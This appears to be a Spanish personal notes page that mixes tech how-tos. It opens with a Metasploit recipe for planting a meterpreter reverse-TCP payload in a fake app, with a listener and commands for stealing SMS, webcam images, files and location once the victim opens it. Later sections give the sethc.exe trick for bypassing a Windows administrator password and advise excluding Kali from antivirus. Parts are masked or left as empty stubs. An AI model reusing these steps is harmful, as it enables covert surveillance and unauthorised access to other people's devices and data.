Kali Linux - Metasploit - Poner veneno en las aplicaciones de Windows

1eros pasos

• msfconsole
• msf6 > search eternalblue
• msf6 > use exploit/windows/smb/ms17_010_eternalblue
• msf6 > show options

Con este ultimo codigo mostrara LH## Y LP### la informacion para crear el tcp_reverse

1.1.- Crear la app para instalar en el dispositivo, ya sea en windows o celular...

msfvenom -p a_____/meterpreter/reverse_tcp L&&&&=###.###.###.### LP&&&=#### R>___.___
msfvenom -p w_____/meterpreter/reverse_tcp LH&&&=###.###.###.### L&&&=#### F>___.___

2.- Entrar a Metasploit: msfconsole... tarda como 10 minutos (aprox) y adicional a eso hay tener todo cerrado para la upgrade...

Y configurar la entrada de la pc al dispositivo

• use exploit/multi/handler
• set PAY/=$# android/meterpreter/reverse_tcp
• set L&&&& ###.###.###.###
• set L&&&& ####

show options (need show u the lport lhost in the black window...)
                       after that..

• exploit

[*] Started reverse TCP handler on ###.###.###.###:####

Y cuando la persona haya instalado la app y la abrá, es cuando hace conexión en la pc---

NOTA: Todo llegara a la conexión virtual.

Comandos:
dump_sms                       
webcam_snap                 
sysinfo
sdcard
download + archivo.etc
wlan_geolocate

Contraseña - Olvide mi contraseña de administrador en mi pc, como ingresar paso a paso...

Iniciar reparación de inicio (recomendado)
Restaurar el equipo >Cancelar

msgbox    recuperación de inicio
                 bla bla bla
                 pestaña abajo[<>]
                 Ubicar el TXT en el texto al final (enlace)

Archivo (abrir)
Equipo
C:\
Windows
System 32  [tener habilitado/abrir todos los archivos]

Ubicar el archivo "sethc" y cambiar el nombre: sethc-bak
Igual con el cmd, ubicarlo pero copy and paste y al nuevo hay que darle el nombre de: sethc.
Cerrar todo y shift debajo de enter 5 vcs y abrira...

Desde acá hay que cambiar la contraseña con.
net user... etc etc..

FTP - Crear tu servidor personal en tu pc

1.- Desinstalar un programa
Activar o desactivar caracteristicas de Windows
[*] Internet Information Service [*]
   [*] Herramientas de administración web (Activar todo)
   [*] Servicios world wide web
   [*] Servidor FTP (Activar todo)
   Aceptar para aplicar....

2.- Herramientas administrativas (panel de control, iconos pequeños)
Administrador de Internet Information Service (IIS)
>Sitios [btn derecho: Agregar Sitio FTP]
    Servidor DM
    Escoger el directorio
          Escoger la IP de la maquina
          Sin SSL
               Seleccionar todos los usuarios y marcar todo

Kali Linux - Como instalar Kali Linux en Windows 10 sin virtual box

Abrir PowerShell como administrador.

1.- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

    Instalar Kali Linux desde Microsoft Store

1.1.- wsl --update
1.2.- wsl.exe --install


2.- sudo su
3.- apt-get update
4.- apt-get upgrade
 
    Agregar la carpeta de instalación del Kali Linux a las exclusiones del antivirus.
    C:\Users\Su_Usuario\AppData\Local\Packages\Kali........

5.- apt-get install git
6.- git clone https://github.com/3xploit666/packtermux.git
    [ Con este paquete instalamos. 3xploit,nmap,python,php,sqlmap,ngrok, y más]

7.- cd packtermux
8.- chmod 755 *
9.- ls
10.- sh scriptpack.sh
11.- apt-get install metasploit-framework

Listo!!! ahora ya tenemos Kali linux + metasploit en windows 10 sin abrir una maquina virtual.

VBScript - Creando a Jarvis en la PC (mensajes)

Lenguaje
1.- #####
2.- Mks%&o10Númromano

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set col#####s = oWMP.#####(minuscula)Collection
if col#####s.Count >= 1 then
do
For i = 0 to col#####s.Count - 1
col#####s.Item(i).Eject
Next ' #####(minusculas)
For i = 0 to col#####s.Count - 1
col#####s.Item(i).Eject
Next ' ##### (minusculas)
loop
end if

****** "Le muestro el horario en el cual se abrio la computadora senor" & vbCrlf & "Hoy es: "& Date & vbCrlf & "Hora: " & Time,266304, "Jarvis: Said"

__thesame=****** ("De clic para iniciar Senor", 35 , "Jarvis: Said")
if _________=6 then ****** "Siempre positivo Senor", 0
if _________=7 then ****** "Jamas decimos que no!", 0
if _________=2 then ****** "...", 48

__thesame=****** ("Hay algo mas que pueda hacer por usted Senor?", vbYesNo, "Jarvis: Said")
if _________=vbYes then ****** "Digame que es?, que mas puedo hacer por usted?", 0
if _________=vbNo then ****** "Senor, debe de saber que le deseo lo mejor, que tenga un excelente dia", 0

Instalación - Como instalar una aplicación de control asistencia con terminal

wget --ftp-user=s######2 --ftp-password=######## ftp://200.188.136.157/*.zip && unzip AmazonPhotos%20.zip

Continuar con estas ordenes.
1.- sudo sh install.sh
2.- sudo apt remove -y nodejs && sudo apt install -y nodejs
3.- sudo npm install -g electron --unsafe-perm=true --allow-root

o todas juntas... &&

Carpeta Compartida - Archivos compartidos en red

Crear una carpeta donde será el destino principal.
Sobre esta misma carpeta dar clic btn derecho y propiedades.
Pestaña: Uso compartido y clic en botón de "Compartir..." y clic al botón de compartir.
Seleccionar "Todos (everyone)" Nivel de permiso: Lectura y Escritura
Clic en: Uso compartido avanzado.
Compartir esta carpeta (seleccionada).
Clic sobre botón "Permisos" y deberá aparecer Nombres de gpos o usuarios... Todos.
Y seleccionar en el apartado Permisos Todos "Permitir" las 3 opciones. (aplicar y aceptar en todo)
Listo...

Para quitar la carpeta de compartidos
Es solo
Sobre esta misma carpeta dar clic btn derecho y propiedades.
Seleccionar pestaña compartir y dentro de este apartado Uso compartido avanzado.
Compartir esta carpeta (de-seleccionar la carpeta) aplicar y aceptar.
Y la quitamos de compartidos.

Para ver si esta bien la carpeta compartida (configuración)

Administrar encima de Mi PC y clic sobre "Administrar"
Desplegar "Herramientas del sistema", "Carpetas compartidas", "Recursos compartidos".
Estando acá, se mostrara la carpeta compartida.
Eso significa que esta en orden.

NOTA: Services.msc

"Servidor" - Automática

"Estación de Trabajo" - Automática

"Examinador de equipos" - Automática

RCP para adultos

Atragantamiento & RCP básico para niños y bebés

ATRAGANTAMIENTO




RCP

Google Chrome - Temas para Google Chrome

chrome://extensions/

Hay que habilitar el modo de desarrollador para poder instalar las obras...

El archivo que se descarga, se suelta sobre la website de chrome: chrome://extensions/

Apple - Como conectar multifuncional en red (Mac Apple)

Preferencias de sistema (Engrane)
Impresoras y escaneados
Signo de +

VBScript - Como crear archivos VBScript

VBS

Abrir un .txt para convertirlo en .vbs
Guardar como: miguel.vbs (todos los formatos y dar clic en guardar, para que el formato vbs sea como se lea en la pc.)

Después de tanto buscar y ver vídeos, encontré estas líneas que te ayudaran bastante para realizar correctamente un buen vbscript.

"Option Explicit"... En la parte superior al iniciar el script, con la finalidad de que si hay algún error en el código, te diga donde se encuentra exactamente donde se localiza y puedas modificarlo.

"Dim obj, a, b, c, d, e, f, shell"... Sirve para determinar los elementos en el scritp que vayan a poner en él.

"Set obj=createObject("wscript.shell")"
"Set shell=createObject("wscript.shell")"

"Set obj..." Nos ayudan para ejecutar comandos locales.
"Set shell..." Nos ayudan para ejecutar comandos online.

"a=msgbox"... Asi es como debe de iniciar un script para abrir una caja de mensaje.

Aquí para que vean como quedará el la caja con su estructura.
a=msgbox ("Message",vbYesNo+vbExclamation+vbSystemModal,"Title")
Lo que esta subrayado es la estructura de como debe de quedar.

No me metere a fondo con el subrayado por el momento, eso se los dejare de tarea. (Es para que aprendan de una mejor manera).

Ya cuando tenemos toda la parte superior ya podemos poner los códigos que querramos a diestra y siniestra.

obj.run"""url local"""
Shell.Run "url online",9

b=msgbox ("Message",vbInformation+vbSystemModal,"Title")
obj.run"""G:\Cumple Mor\par.jpg"""

c=msgbox ("Message",vbInformation+vbSystemModal,"Title")

Shell.Run "url online",9

Deja tu comentario si te ayudo esta información.

______________________________________________________________________________

BROMA PESADA PARA ABRIR Y CERRAR EL CDROM

Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

do

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

loop

End If

______________________________________________________________________________